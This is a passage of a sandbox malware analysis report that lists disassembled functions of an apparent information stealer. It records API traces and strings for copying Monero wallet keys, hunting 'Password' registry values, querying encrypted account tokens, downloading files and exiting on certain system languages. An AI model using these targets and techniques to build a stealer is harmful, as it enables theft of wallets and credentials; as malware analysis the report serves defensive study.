Opcode Fuzzy Hash: 410a6937c5537eeca110dc68e09a7e5514c565f48e719a1b98c88fc9aa847831
Instruction Fuzzy Hash: 6A7151B6900208ABCB54FBE4DC85FEE73BABB89300F00459DE60597181EA74DB45CFA5

Function 00691310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006912A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006912B4
Part of subcall function 006912A0: RtlAllocateHeap.NTDLL(00000000), ref: 006912BB
Part of subcall function 006912A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 006912D7
Part of subcall function 006912A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006912F5
Part of subcall function 006912A0: RegCloseKey.ADVAPI32(?), ref: 006912FF

lstrcat.KERNEL32(?,00000000), ref: 0069134F
lstrlen.KERNEL32(?), ref: 0069135C
lstrcat.KERNEL32(?,.keys), ref: 00691377

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

Part of subcall function 006A8B60: GetSystemTime.KERNEL32(006B0E1A,0126B828,006B05AE,?,?,006913F9,?,0000001A,006B0E1A,00000000,?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006A8B86

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00691465

Part of subcall function 006AA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006AA7E6

Part of subcall function 006999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006999EC
Part of subcall function 006999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00699A11
Part of subcall function 006999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00699A31
Part of subcall function 006999C0: ReadFile.KERNEL32(000000FF,?,00000000,0069148F,00000000), ref: 00699A5A
Part of subcall function 006999C0: LocalFree.KERNEL32(0069148F), ref: 00699A90
Part of subcall function 006999C0: CloseHandle.KERNEL32(000000FF), ref: 00699A9A

DeleteFileA.KERNEL32(00000000), ref: 006914EF

Strings

wallet_path, xrefs: 00691330
SOFTWARE\monero-project\monero-core, xrefs: 00691335
.keys, xrefs: 0069136B
\Monero\wallet.keys, xrefs: 0069138D

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 7423cf1bf8ae06c9dd7c8f0a8a36adcdeab3171312f416a541f2689d02ced2e6
Instruction ID: 248b9b7b8b6391193d7080814fe1a2fdcd10157b130458576b9cfb4c538efeb5
Opcode Fuzzy Hash: 7423cf1bf8ae06c9dd7c8f0a8a36adcdeab3171312f416a541f2689d02ced2e6
Instruction Fuzzy Hash: 475133B19501195BCB95FB60DC92BEE737DAF55300F40419DB60A62082EF345F86CFAA

Function 006975D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006972D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0069733A
Part of subcall function 006972D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006973B1
Part of subcall function 006972D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0069740D
Part of subcall function 006972D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00697452
Part of subcall function 006972D0: HeapFree.KERNEL32(00000000), ref: 00697459

lstrcat.KERNEL32(00000000,006B17FC), ref: 00697606
lstrcat.KERNEL32(00000000,00000000), ref: 00697648
lstrcat.KERNEL32(00000000, : ), ref: 0069765A
lstrcat.KERNEL32(00000000,00000000), ref: 0069768F
lstrcat.KERNEL32(00000000,006B1804), ref: 006976A0
lstrcat.KERNEL32(00000000,00000000), ref: 006976D3
lstrcat.KERNEL32(00000000,006B1808), ref: 006976ED
task.LIBCPMTD ref: 006976FB

Strings

: , xrefs: 0069764E

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: ede245171b1d281a2f5d190b505589573632778b459da7ebcb4089bfa7d2501b
Instruction ID: c3123ef73875bd808befab46a7b5bbcd4a91817804b2a14e499f7fa7c41b3544
Opcode Fuzzy Hash: ede245171b1d281a2f5d190b505589573632778b459da7ebcb4089bfa7d2501b
Instruction Fuzzy Hash: 44316B71902109EFCF48EBB4EC99DFE737EBB55301F244219E502A72A0DA34E942DB55

Function 006960A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006AA7E6

Part of subcall function 006947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00694839
Part of subcall function 006947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00694849

InternetOpenA.WININET(006B0DF7,00000001,00000000,00000000,00000000), ref: 0069610F
StrCmpCA.SHLWAPI(?,0126FA00), ref: 00696147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0069618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 006961B3
InternetReadFile.WININET(?,?,00000400,?), ref: 006961DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0069620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00696249
InternetCloseHandle.WININET(?), ref: 00696253
InternetCloseHandle.WININET(00000000), ref: 00696260

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 0e86810073114247876769721b07f604a63476ed222c87c0223b149e2a7acf1d
Instruction ID: 9c9f2e1b7c49c983b025533d297a3c2747b61fc9c8a7ca5558d9af88185fccec
Opcode Fuzzy Hash: 0e86810073114247876769721b07f604a63476ed222c87c0223b149e2a7acf1d
Instruction Fuzzy Hash: 54515FB1A00218ABDF24EFA0DC45BEE77B9FB44701F108199B605A71C0DB746E85CF95

Function 006972D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0069733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006973B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0069740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00697452
HeapFree.KERNEL32(00000000), ref: 00697459
task.LIBCPMTD ref: 00697555

Strings

Password, xrefs: 00697401

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: f7c7ef32a996843ea5cb9af8dc149721e1192b31c841b8b5d6dc35d0b24368c6
Instruction ID: 93bc6b8df2eea709506bea50df9473216ba4b983cf589a9c7fc043bcb5afe6ff
Opcode Fuzzy Hash: f7c7ef32a996843ea5cb9af8dc149721e1192b31c841b8b5d6dc35d0b24368c6
Instruction Fuzzy Hash: B76117B59141689BDB24DB50CC41BEAB7BDBF44300F0081E9E689A7641DB706BC9CFA5

Function 0069BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

Part of subcall function 006AA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006AA7E6

lstrlen.KERNEL32(00000000), ref: 0069BC9F

Part of subcall function 006A8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006A8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0069BCCD
lstrlen.KERNEL32(00000000), ref: 0069BDA5
lstrlen.KERNEL32(00000000), ref: 0069BDB9

Strings

AccountId, xrefs: 0069BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 0069BBEB
AccountTokens, xrefs: 0069BB49
AccountTokens, xrefs: 0069BABA

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 224f72526152e8ce1653f42a8826d24bf39ece57cdf1f25c06e12acc731f660c
Instruction ID: 13d796a7082a902013f333db9c996eac5a23beed4dcd89c577630b7529505946
Opcode Fuzzy Hash: 224f72526152e8ce1653f42a8826d24bf39ece57cdf1f25c06e12acc731f660c
Instruction Fuzzy Hash: 03B11B71910108ABDB84FBE0DD96EEE737AAF15300F50415EF506A6092EF34AE49CF66

Function 006A6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 006A6774
ExitProcess.KERNEL32 ref: 006A67A5
ExitProcess.KERNEL32 ref: 006A67AF
ExitProcess.KERNEL32 ref: 006A67B9
ExitProcess.KERNEL32 ref: 006A67C3
ExitProcess.KERNEL32 ref: 006A67CD

Strings

*, xrefs: 006A678C

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: fa14b9605d1e332205a09ecced430a85ea78df1f626f8d044f9631b30f79a2dc
Instruction ID: 59ace504558743facb5b9ba6c8a39549be4d1dcc0d0d66870b89d16c60f8caa0
Opcode Fuzzy Hash: fa14b9605d1e332205a09ecced430a85ea78df1f626f8d044f9631b30f79a2dc
Instruction Fuzzy Hash: 86F05E3091520DEFD348AFE0E90976C7BB0FB05703F28029AF64986390DA708B41DF96

Function 00694FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00694FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00694FD1
InternetOpenA.WININET(006B0DDF,00000000,00000000,00000000,00000000), ref: 00694FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00695011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00695041
InternetCloseHandle.WININET(?), ref: 006950B9
InternetCloseHandle.WININET(?), ref: 006950C6

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: d3a1d3765695ac08486d51204a4b7a6411f082ce538bd1cb8d82702758526bd7
Instruction ID: 56c671bd55e547ec4f5a3c752b1fc6683988122d1131f7d8507720b6ad1cf211
Opcode Fuzzy Hash: d3a1d3765695ac08486d51204a4b7a6411f082ce538bd1cb8d82702758526bd7
Instruction Fuzzy Hash: 4B3107B4A00218ABDB24DF54DC85BDDB7B9FB48704F2081D9EA09A7280C7706EC58F99

Function 006A8100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0126F328,00000000,?,006B0E2C,00000000,?,00000000), ref: 006A8130
RtlAllocateHeap.NTDLL(00000000), ref: 006A8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 006A8158
wsprintfA.USER32 ref: 006A81AC

Strings

@, xrefs: 006A814D
%d MB, xrefs: 006A81A3

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 4fb6d7e0ecec8312623218b8156bb20cfcde37c7bbc9818019c2e6b306fdf88d
Instruction ID: 605e15297609a5c875208ad69b228240cc208edcc15799d1bdc6d0a37641974b
Opcode Fuzzy Hash: 4fb6d7e0ecec8312623218b8156bb20cfcde37c7bbc9818019c2e6b306fdf88d
Instruction Fuzzy Hash: 7E213EB1E44218ABDB04DFD4CC49FAEB7B9FB45700F204619F605BB280D77859018BA5

Function 006A83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 006A8426
wsprintfA.USER32 ref: 006A8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 006A847B
RegCloseKey.ADVAPI32(00000000), ref: 006A848C
RegCloseKey.ADVAPI32(00000000), ref: 006A8499

Part of subcall function 006AA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006AA7E6

RegQueryValueExA.ADVAPI32(00000000,0126F1D8,00000000,000F003F,?,00000400), ref: 006A84EC
lstrlen.KERNEL32(?), ref: 006A8501
RegQueryValueExA.ADVAPI32(00000000,0126F3D0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,006B0B34), ref: 006A8599
RegCloseKey.ADVAPI32(00000000), ref: 006A8608
RegCloseKey.ADVAPI32(00000000), ref: 006A861A

Strings

%s\%s, xrefs: 006A844D

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 8478a1890e73e11f8940969b311ba1ff6d7c07319c22447b53d58b75ed52ca57
Instruction ID: b1af3d04a59c19f12e0f728aae7494639a94d19474fa96d982f8216720bfb077
Opcode Fuzzy Hash: 8478a1890e73e11f8940969b311ba1ff6d7c07319c22447b53d58b75ed52ca57
Instruction Fuzzy Hash: A3210AB19012189FDB68DB54DC85FE9B7B9FB48700F10C199E60996140DF71AE85CFD4

Function 006A7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006A76A4
